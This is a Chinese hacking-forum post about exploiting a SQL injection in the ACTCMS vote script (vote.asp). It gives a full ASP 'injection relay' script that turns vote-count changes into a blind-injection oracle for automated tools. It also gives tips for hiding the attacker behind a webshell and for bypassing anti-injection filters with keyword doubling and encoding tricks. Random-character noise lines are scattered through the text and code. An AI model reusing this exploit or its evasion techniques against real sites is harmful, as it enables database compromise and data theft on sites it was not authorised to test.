注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
) o! `1 C$ o% R关于actcms漏洞的利用  by 3x qq:381862589
/ b# y4 W" _3 u- d+ Q* Z转载请注明以上
, H$ H7 e4 `& ?  ~漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
( e5 _/ x& }8 G! s& L
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

+ K2 Y% ?; b% }7 ?# C/ M3    response.end   
, N! ^3 w" ~1 X8 k. d1 X4 ]
4    end if   

4 s& g2 g  e, t: ]1 O- C$ b! P/ Y5    for i=1 to request("voted").count   
0 I, r7 o( t" |9 F9 S
% r! ~& y- z: I' f. g' |6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

. |2 g: m) \: N$ L) h7    next   

4 S9 o6 W4 _" D6 ^" I& M  E8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
5 i9 o. O8 n2 J, y# G1 }如果投票成功票数加1
+ D# u4 G! |, ^7 n' U1 ~            失败票数不变
如图：
5 @, u& I+ R; B  a0 [  {; Q' J3 n/ Lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
# B* I$ Z9 C$ g
2009-12-27 13:20

7 f+ M6 C" a: A7 n% c利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
: g! y8 @- N  \  @! c4 m2 g
本帖隐藏的内容需要回复才可以浏览
! q0 S$ L; m! N; N* _我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
9 g7 b1 {, s% P注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
6 g. H5 W- Z* b# ~* o2 i+ u
02JmdcwName=request("jmdcw")
- d8 c# b8 N  A
, D' k. r" u8 t# {& T03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

  U, \$ v2 L3 w# r* Q3 r04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

, Z$ x- j+ @# h8 x- o* Y07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
, \' ]9 w+ Y8 T+ }& t6 U+ W
08testurl=testurl & "?" & JmStr
; [1 C; G8 y  s) G5 y
' @- _1 O; E9 \  p1 C09JMUrl=JMUrl & "?" & JmStr

, F4 _+ p' h* k. d. O# }$ ~+ P5 B10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; Q$ X, K4 g! R# f" @, c
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 h* V% M' L" p* s4 n  x
! N* J. d& g, ?12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' I' I, M# R& ]" C
+ F- h; r4 E7 j3 ?, c- p7 m14  
# p$ W) ^6 w! e) \. k: a
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

2 r6 L0 a" F; n! a0 Y# Q4 Y& `16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ m: u( A4 z4 N& X
18response.write test1&""&test2&""

% Z' ^5 ~9 O* ^19  
( U8 R/ g; H1 L, J# A  Z  k7 S
/ A: ^, ?; a+ Q) t2 z& E20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

$ |4 ~8 H1 B; q3 r3 w22else
  }4 k- P; J( G  p
9 s( I" v9 l1 W1 ^9 E: J23  response.write "succeed"
) s- j! F. i. e6 r+ j9 e# P
& w  [4 W6 X# z) J' \5 w, x# G$ R% {24end if  

8 v7 l5 a5 o2 v) F  g2 D8 P25  

26response.write "by 3x"

27  
4 `$ ^' a& z9 p$ c! X0 _
28  
' i; {. E/ P, z: F9 S# t
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

% D7 `* C6 ]9 |, E5 g32With Http

' G5 ?+ y; m8 J, {% |$ ?" D33  
0 v4 R1 r% R& J
- W  ~0 w$ ]% w/ ~7 h; v8 R1 m34.Open "GET",PostUrl,False
# ?6 p+ _6 k9 M
3 n  o' X% K  f( Q' Y3 A+ t4 I35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" h) F0 e6 O6 f' B' f
# r# K0 E7 {! d3 N8 k5 B; Y, `. y36.SetRequestHeader "Referer",PostRef
" C$ p& U6 h0 W- p% w1 m
$ t- T( J1 f: a. E8 _; e* O37.SetRequestHeader "Cookie",PostCok
. o1 t* F( J! C5 h
38.Send ()
8 v+ v3 h9 M+ L) d& b5 W/ h
6 V6 L0 G2 p0 n39PostData = .ResponseBody

" \' e, S5 c. l, q3 i  t40End With
8 ~, _& a6 ?; o7 ~3 |8 ?' N, d
41Set Http = Nothing

1 e/ a+ B) _9 ]6 o% U; _* ~42PostData =bytes2BSTR(PostData)
5 S+ e, r% {) p
+ J9 A, p8 C) t5 P. K43End Function
. r% P9 R6 _6 `9 U2 i! z! c
44  
6 p7 B& a2 K* t  b8 S2 ?* t# e
45  
- N/ {; r' }2 J
46Function bytes2BSTR(vIn)
1 c8 K* `: E) G
47Dim strReturn

4 R9 z" t4 R8 R48Dim I, ThisCharCode, NextCharCode
0 C, x. u3 a9 q  \% z* a' U
) ?& r- c5 r5 S' s* C3 _; I" h49strReturn = ""
. Q8 b1 g3 f3 [4 {1 S
50For I = 1 To LenB(vIn)
& h5 P* A( h' j& v# N2 P2 X
51ThisCharCode = AscB(MidB(vIn, I, 1))
& D4 J2 u. s4 z4 X) W9 c) C
52If ThisCharCode < &H80 Then
. V6 G; T+ O( Z* @0 F
: P6 a2 p! S3 p9 [( M53strReturn = strReturn & Chr(ThisCharCode)
4 Z/ N' O# h7 s9 Y
54Else
* M& s0 f1 s) d: B8 D
3 w9 L6 V" T) d. T55NextCharCode = AscB(MidB(vIn, I + 1, 1))
3 Z8 B0 x3 D7 M. _; q- j" O# w
( a5 o% x9 V# N  w( V. M; y56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) O3 s, [* Y& E: @8 d4 _2 O& R
57I = I + 1
  O6 k9 ~) N' R  T
) a& @( K; |5 v5 U; R$ Q7 J8 N8 i2 z1 \58End If

5 w5 ]* R6 T3 t' ~, e% M/ Y59Next
# e) a" R4 D) S
: |1 v+ r6 W4 d* p1 x* m60bytes2BSTR = strReturn
' s9 }* B4 H* {; o% s( ^6 [
61End Function

$ Y1 d* y% Q# w3 Q62  

63Function URLEncoding(vstrin)  

64strReturn=""

) }' _# w# Q: Q, w) D65Dim i

; m, [+ r  J) P4 I2 J* a# ~2 N7 x9 y66For i=1 To Len(vstrin)
. N8 P& f# v( ]6 R: N
' C5 j/ c2 g3 B" g$ S/ N( G67ThisChr=Mid(vstrin,i,1)
% S8 t" Q8 X+ x" `
68if Abs(Asc(ThisChr))< &HFF Then
$ b' N) K9 G3 d& E( b. A9 _( g
! B0 ^9 y. X# u+ R" h, j* c6 c69strReturn=strReturn & ThisChr
; g( i: r9 o& r0 B2 D3 e
70Else
2 L- V9 c0 U% S  X$ i% L$ z: l9 m
71InnerCode=Asc(ThisChr)
( L1 l( o0 i/ c. z3 D" Z1 V6 K2 X
72If InnerCode<0 Then
* h: W9 s% |; f+ t
73InnerCode=InnerCode + &H10000
$ F& D) _9 p3 M- F5 n
74End If
* S1 r$ e) W- j- \
1 U: V5 {' J2 R7 Q75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
0 i  |2 t* \( y& u, p  K+ m/ r1 B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if
8 i, C2 Z1 u1 F# P) ?4 R
. C- `4 g8 ^& j# A$ j; l79Next
) M' k" h# `8 H6 a7 r' q
1 L6 j# l. `, }- n4 L3 c) T4 N80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

6 Q3 G  D2 Q9 R" s( q0 m81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

" \) L: l3 G" g82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

  m9 \% S+ T0 F. T$ \84End Function

85  

' E! o5 b* ^/ J0 ~86function getSt(body)
+ X* v1 Y! r3 g5 a% o
% ~# M; a, h' o87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")

89  getSt=mid(body,startpot,endpot-startpot)

90end function
# ]5 K3 l8 Z9 {" j
91%>
% [# _) \2 B/ A+ r# C注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
0 G" u" D$ E$ x; M4 L# m1 `* h! T测试下效果：
! E4 a+ G3 u) t& v) n1 r: o投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
# D) m6 h2 |* C; _* f
" O2 v# P0 r0 x9 ^  W! u% Y2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; q1 x2 ~# I- V/ p/ m5 m
6 y. l' i/ V" }2009-12-27 13:29
4 W7 f6 d$ i1 r* o' i+ D-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
" S' g' Z* O4 ]2 ?+ E) e6 b8 V很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
" g2 v0 \7 T% }. L
注入中转的一些其他应用
+ h$ W  A7 E5 [5 u4 Y其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; [5 A% ~$ v8 `  ~; h1 N1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
% U( q) a/ R0 D9 G9 s. ~/ d3 A2.post注入转成get型的注入，方便我们使用工具来跑
- w) M4 o$ ^# z5 T8 q  {+ l3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
5 c8 a, S' i5 y) R# C, O( {